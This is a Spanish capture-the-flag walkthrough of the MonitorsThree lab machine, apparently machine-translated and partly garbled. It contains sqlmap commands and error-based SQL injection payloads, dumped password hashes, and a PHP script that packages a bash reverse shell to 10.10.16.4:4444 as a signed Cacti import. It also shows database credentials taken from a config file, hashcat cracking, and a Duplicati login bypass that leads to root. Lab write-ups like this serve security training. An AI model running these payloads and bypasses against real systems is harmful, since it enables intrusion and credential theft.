MonitorsThree (Inyección SQL)


Entramos al puerto 80:

dirbúsqueda:
dirsearch -u monitorsthree.htb -t 50
Descubrir:login.php
Difusión de subdominios (Dependiendo donde este tu diccionario)
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://monitorsthree.htb -H "Host:FUZZ.monitorsthree.htb" -ac


Inyección SQL en el dominio
Cuando navego por el sitio encuentro una página de restablecimiento de contraseña.

PARA HACER LA INYECCION SQL TENEMOS QUE COPIAR TODO LO QUE NOS ENTREGA EL BURPSUITE A UN ARCHIVO:

Ahora con el siguiente comando:
sqlmap -r solicitud.txt -dbms=mysql --dump
Esto nos entrego el nombre de la base de datos:
_db
[22:24:21] [INFO] fetching tables for database: 'monitorsthre_db'
[22:24:21] [INFO] fetching number of tables for database 'monitorsthre_db'
Ahora que aprendà el nombre de la base de datos, probaré los nombres de tabla y columna predeterminados y extraeré los datos:
sqlmap -r request.txt --batch -T users -C nombredeusuario,contraseña -D monitorsthree_db --dump --level=3 --risk=3 --threads=10 --skip=dbs,nombredehost
[07:24:54] [ADVERTENCIA] No se encontraron contraseñas claras
Base de datos: monitorsthree_db
Tabla: usuarios
[4 entradas]
+-----------+----------------------------------+
| nombre de usuario | contraseña |
+-----------+----------------------------------+
| janderson | 1e68b6eb86b45f6d92f8f292428f77ac |
| administrador | 31a181c8372e3afc59dab863430610e8 |
| 633b683cc128fe244b00f176c8a950f5 |
| mwatson | c585d01f2eb3e6e1073e92023088a3dd |
+-----------+----------------------------------+
OTRA MANERA:
Como Sqlmap realmente se estaba ejecutando demasiado lento y habÃa un mensaje de error, lo probé y descubrà que podÃa informar el error directamente e inyectarlo.
admin' and extractvalue(1,concat('~',database()))#

Encontré una tabla de usuarios
admin' AND extractvalue(1,concat('~',(SELECT SUBSTRING(GROUP_CONCAT(column_name),1,30) FROM information_schema.columns WHERE table_name='users')))#

-----------------------------------------------------------------------------------------------

Codigo:
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php exec("bash -c \'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1\'") ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
Esto nos entrega un test.xml.gz al ejecutar
php test.php
Ahora al entrar al direcorio donde se importo el test.php nos tendria que dar la revershell:

Ahora buscando entramos a:
/var/www/html/cacti/include/config.php
Contiene:
$tipo_de_base_de_datos = 'mysql';
$database_default = 'cactus';
$nombre_host_de_base_de_datos = 'localhost';
$nombre_usuario_base_de_datos = 'cactiuser';
$contraseña_base_de_datos = 'cactiuser';
$puerto_base_de_datos = '3306';
$database_retries = 5;
$database_ssl = falso;
$clave_ssl_base_de_datos = '';
$certificado_ssl_base_de_datos = '';
$base de datos_ssl_ca = '';
$database_persist = falso;
Me conecto a mysql:
mysql -u cactiuser -p cacti
Enter password: cactiuser
USE cacti;
show tables;
Estoy sacando todos los datos de la user_auth
tabla:
SELECT * FROM user_auth;
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G 0 Administrator marcus@monitorsthree.htb on on on on 2 11 1 1 on -1 -1 -1 0 0 436423766
3 guest $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu 0 Guest Account guest@monitorsthree.htb on on on 1 1 11 1 -1 -1 -1 0 0 3774379591
4 marcus $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IB
Ahora lo usaré hashcat
para romper el marcus
pase.
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) iniciando
la API OpenCL (OpenCL 3.0 PoCL 5.0+debian Linux, Ninguno+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Plataforma #1 [El proyecto pocl]
================================================== ================================================== ================================================
* Dispositivo n.° 1 : cpu-sandybridge-Intel(R) Core(TM) i7-8750H CPU a 2,20 GHz, 2240/4545 MB (1024 MB asignables), 4 MCU
Longitud mÃnima de contraseña compatible con el kernel: 0
Longitud máxima de contraseña compatible con el kernel: 72
Hashes: 1 resúmenes; 1 resumen único, 1 sal única
Mapas de bits: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13 rotaciones
Reglas: 1
Optimizadores aplicados:
* Byte cero
* Hash único
* Sal única
Vigilante: El disparador de cancelación de temperatura está establecido en Memoria de host 90c
requerida para este ataque: 0 MB
Caché de diccionario alcanzada:
* Nombre de archivo..: /usr/share/wordlists/rockyou.txt
* Contraseñas..: 14344385
* Bytes.....: 139921507
* Espacio de claves..: 14344385
Cracking ¿El rendimiento es menor al esperado?
* Agregue -w 3 a la lÃnea de comandos.
Esto puede hacer que la pantalla se retrase.
* Agregue -S a la lÃnea de comandos.
Esto tiene un impacto drástico en la velocidad, pero puede ser mejor para ataques especÃficos.
Los escenarios tÃpicos son una pequeña lista de palabras pero un amplio conjunto de reglas.
* Actualice el controlador/tiempo de ejecución de su API de backend de la manera correcta:
https://hashcat.net/faq/wrongdriver
* Cree más elementos de trabajo para aprovechar su poder de paralelización:
https://hashcat.net/faq/morework
$2y$10 $Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
Sesión..........: hashcat
Estado...........: Crackeado
Hash.Mode........: 3200 (bcrypt $2* $, Blowfish (Unix))
Hash.Target......: $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIa...9IBjtK
Hora.Inicio.....: Mié 28 de agosto 07:58:43 2024 (12 segundos)
Tiempo estimado...: Mié 28 ago 07:58:55 2024 (0 segundos)
Kernel.Feature...: Pure Kernel
Guess.Base.......: Archivo (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100,00 %)
Velocidad.#1.........: 38 H/s (6,29 ms) @ Accel:4 Loops:16 Thr:1 Vec:1
Recuperado........: 1/1 (100,00 %) Resúmenes (totales), 1/1 (100,00 %) Resúmenes (nuevos)
Progreso. ........: 448/14344385 (0,00%)
Rechazado.........: 0/448 (0,00%)
Punto de restauración....: 432/14344385 (0,00%)
Restaurar.Sub.#1...: Sal:0 Amplificador:0-1 Iteración:1008-1024
Candidato.Motor.: Generador de dispositivos
Candidatos.#1....: 12345678910 -> miamor
Hardware.Mon.#1..: Utilidad: 87%
Iniciado: Mié Ago 28 07:58:36 2024
Detenido: Mié Ago 28 07:58:56 2024
Contraseña_: 12345678910
www-data@monitorsthree:~/html/cacti/resource$ su marcos
su marcos
su: user marcos does not exist or the user entry does not contain all the required fields
www-data@monitorsthree:~/html/cacti/resource$ su marcus
su marcus
Password: 12345678910
whoami
marcus
id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
ls
index.php
script_queries
script_server
snmp_queries
cat /home/marcus/user.txt

Entramos con la llave:
┌──(docker㉿docker)-[~/HackBox]
└─$ chmod 600 id_rsa
┌──(docker㉿docker)-[~/HackBox]
└─$ ssh -i id_rsa marcus@monitorsthree.htb
Enumeración de puertos abiertos adentro de la maquina:
netstat -tlnp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36483 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
marcus@monitorsthree:~$
Veo el puerto 8200 aquà y entiendo que puedo trasladarlo a mi máquina local.
ssh marcus@monitorsthree.htb -L 8200:127.0.0.1:8200 -i id_rsa

Cuando busco, llego a la información importante sobre duplicati en el /opt/duplicati/config
directorio y descargo el archivo de la base de datos:
En la maquina victima al entrar al mismo directorio se encontro un .sqlite:
marcus@monitorsthree:/opt/duplicati/config$ ls
CTADPNHLTC.sqlite Duplicati-server.sqlite IIFUQOTYCT.sqlite control_dir_v2
marcus@monitorsthree:/opt/duplicati/config$
Lo descargaremos en nuestra maquina para ver que contiene:
scp -i id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .
Una vez descargado:
sqlite3 Duplicati-server.sqlite
.tables
SELECT * from Opción;
sqlite> SELECT * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|df383830-e7ee-4b3d-b0ce-9914d1ad5324
-2||server-passphrase-trayicon-hash|gyD6Y3+7KBgf9zUw21JfhNrXfFTh0W6keyX+UiaGCaA=
-2||last-update-check|638709389567946590
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
sqlite>
Sigo exactamente esta fuente para poder iniciar sesión.
1) Primero, decodificaré el valor de la contraseña del servidor que obtuve en la base de datos base64
y luego lo convertiré al hexadecimal
formato (hexadecimal).
echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
Cuando reenvÃo esto como una intercepción en burp, ya no veré un get-nonce, en su lugar veré un parámetro de contraseña.

Todo será como se muestra a continuación, solo haga que el valor nonce en burp sea el mismo que el suyo y no olvide decodificar el valor nonce en la URL.
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);

4) Ahora cambio el valor noncedpwd que obtuve con mi parámetro de contraseña en burp.
¡No olvides codificar la URL del valor que obtuviste, de lo contrario no podrás iniciar sesión! CTRL + U para eructar.

Realizar copia de seguridad como root

marcus@monitorsthree:~$ pwd
/home/marcus
marcus@monitorsthree:~$ ls -la
total 48
drwxr-x--- 5 marcus marcus 4096 28 ago 00:53 .
drwxr-xr-x 3 root root 4096 26 de mayo 16:34 ..
lrwxrwxrwx 1 root root 9 16 de agosto 11:29 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus 220 6 de enero de 2022 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 6 de enero de 2022 .bashrc
drwx------ 2 marcus marcus 4096 16 de agosto 11:35 .cache
-rw-r--r-- 1 marcus marcus 807 6 de enero de 2022 .profile
drwx------ 2 marcus marcus 4096 27 de agosto 23:35 .ssh
-rw-r--r-- 1 raÃz raÃz 637 28 ago 00:46 duplicati-20240828T004650Z.dlist.zip
-rw-r--r-- 1 raÃz raÃz 717 28 ago 00:46 duplicati-bc6a5f7c6addc4f44b8430b865198f34a.dblock.zip
-rw-r--r-- 1 raÃz raÃz 608 28 ago 00:46 duplicati-i703d81b1824b49398069e72a56e72ec6.dindex.zip
drwxr-xr-x 2 raÃz raÃz 4096 28 ago 00:53 root.txt
-rw-r----- 1 raÃz marcus 33 27 ago 23:35 usuario.txt
marcus@monitorsthree:~$ cd root.txt
marcus@monitorsthree:~/root.txt$ ls
root.txt
FIN...
Last updated